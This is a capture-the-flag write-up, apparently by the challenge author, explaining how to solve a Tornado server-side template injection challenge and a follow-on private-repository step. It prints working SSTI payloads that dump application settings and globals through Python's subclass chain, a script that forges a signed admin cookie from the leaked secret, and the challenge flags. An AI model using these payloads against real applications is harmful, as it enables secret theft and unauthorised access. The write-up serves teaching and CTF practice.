Freddie's Fav & The Repo

Freddie's Fav and The Repo are the precursors to the Compliance Check challenge in R3 - Freddie. Freddie's Fav is a web challenge focused on SSTI (Server Side Template Injection) and The Repo is designed to combine several clues given on the WordPress blog and the reward from Freddie's Fav to access a private GitHub repository.

Freddie's Fav

Freddie's Fav can be found at http://192.168.42.241:8081 on the CTF network. It also specifies that no dirbusting is required and that there is some form of admin functionality. If we navigate to the page, we get this:


We can see that we have a page that will allow us to send some predefined queries to the server and get Freddie's opinion of them. Lets test this out:


If we choose Freddy CRUger, we get a return of "Freddy is only useful when these humans sleep...". You may also notice our url changes, giving us the parameter "character" and something that looks interesting...


This looks like some classic injection opportunity here. Lets test it out!
We can take a well known example of asking the server to solve some arithmetic for us. If it returns with the correct answer, and not the original query, then we know that this is a possible injection site. Lets send it say 5*5? You want to avoid using + and / since your browser will directly interpret it. Asking for 5*5, it returns 25! Lets go a step further... lets throw an error! If we attempt a 5+5, you'll notice something does indeed break.


Well look at that, we have a python web server, specifically Tornado which is similar to Flask. You can read more here.

At this point, I can inform you that there is several ways to solve this challenge, with two intended ways. One is forging a cookie and another involves doing a full class dump of Object (Parent of all Classes). I will be covering both paths starting with becoming admin.

I'm the admin now!

Knowing we have injection, we also may want to look at what we are sharing with the site in terms of session tokens. Using <insert your preferred way to view cookies> we can see that we do indeed have a authentication cookie.

"admin":"2|1:0|10:1635342298|5:admin|8:ZmFsc2U=|44275ba939298d07a99eeb77e0dd5d3ad6e7e8c0129c95c8e8ed9e06d486340f"

If we look at the cookie, we can see a admin parameter followed by some base64. A quick decode will show that it is returning false. You may be thinking "Hey, ill just change that bad boy to True!" This will not work since the following part is a HMAC token, indicating this is a signed cookie. We will need to forge a legitimate one. Lets go back to our injection and see what we can find out. This is also a good spot to go research Tornado and how it handles its cookies.

Since this is python at its core, lets see if we can call globals().

This looks promising. Since we are targeting the application, lets look to see if we can call details on it directly. Sure enough in the output, you'll see this:
"'application': <tornado.web.Application object at 0x7f2044f84b10>, 'secret': 'Until then, no one is allowed to have it!'"

Lets call the application directly in the query: http://192.168.42.241:8081/?character={{application}}. Looking into how this builds cookies, it uses a "secret" as the key for the hmac signing. If we try application.secret, we get an error. Instead lets try and dump the settings of the application.

http://192.168.42.241:8081/?character={{application.settings}}

"{'debug': True, 'static_path': None, 'template_path': None, 'cookie_secret': 'FreddieWasHere\n', 'autoreload': True, 'compiled_template_cache': False, 'static_hash_cache': False, 'serve_traceback': True}"

That cookie_secret looks like what we want. We now need to forge a cookie. You can solve this in several ways, the easiest being standing up your tornado server locally, and having it issue a admin cookie by default. Something like this works:

import tornado.ioloop
import tornado.web
import time

class User(tornado.web.RequestHandler):

    def get(self):
        cookieName = "admin"        
        self.set_secure_cookie(cookieName, 'true')

application = tornado.web.Application([
    (r"/", User),
], cookie_secret="FreddieWasHere\n")

if __name__ == "__main__":
    application.listen(80)
    tornado.ioloop.IOLoop.instance().start()

This will give you an admin signed cookie when you visit the page. Use this to replace your current cookie and it will dump Freddie's secret.

2|1:0|10:1635175961|5:admin|8:dHJ1ZQ==|65a02a1ce2bec8336f51c014a9af8e0ff7e57cdfeb9192fb3336c4404e64652d

Not only did you get a flag but you also get a private ssh key. This is useful later.

Dump it all!

The second way that was intended for this is to dump the super class which all classes inherit from. Several people attempted to get RCE and direct access to the user, but there were protections in place that made that unhelpful as you couldn't read the flag as you were dropped in a low priv user. Instead, if you could dump all subclasses, particularly the ones the application inherits from, then it should spill the secrets.

Example:

http://192.168.42.241:8081/?character={{''.__class__.__mro__[1].__subclasses__()[363]}}

The application main class always inherits from this class.

Lets get it subclass:

http://192.168.42.241:8081/?character={{''.__class__.__mro__[1].__subclasses__()[363].__subclasses__()[-1]}}}}

<class 'main.MainHandler'>" is the main class of the application. Lets see if we can get all global variables associated with this main class:

http://192.168.42.241:8081/?character={{''.__class__.__mro__[1].__subclasses__()[363].__subclasses__()[-1].get.__globals__}}

Looks like that works as well! The flag for this challenge is NIGHTMARE{fr3ddie_didn't_pl@n_4_that!}

The Repo

Using the key from the previous challenge, you are given the prompt to find the hidden repository that Freddie is using. The URL for this is given in the WordPress blog after logging in as Jason, it shows on the homepage leading to https://github.com/freddie2k21takeover/secrets. You can pull this repo by using ssh like this (this is a read only key):

GIT_SSH_COMMAND='ssh -i secrets.key -o IdentitiesOnly=yes' git clone git@github.com:freddie2k21takeover/secrets.git

This gives you the flag NIGHTMARE{One_Tw0_Gonn@_G1t_You} found in the readme.md file of the repository.

Conclusion

These challenges were fun to make. I'd like to give credit where credit is due and thank the CTF creators I took inspiration from when I made these challenges (csictf2020) and the Fword team for showcasing their class dump solution which I found to be interesting.

Till next time, farewell and happy hacking!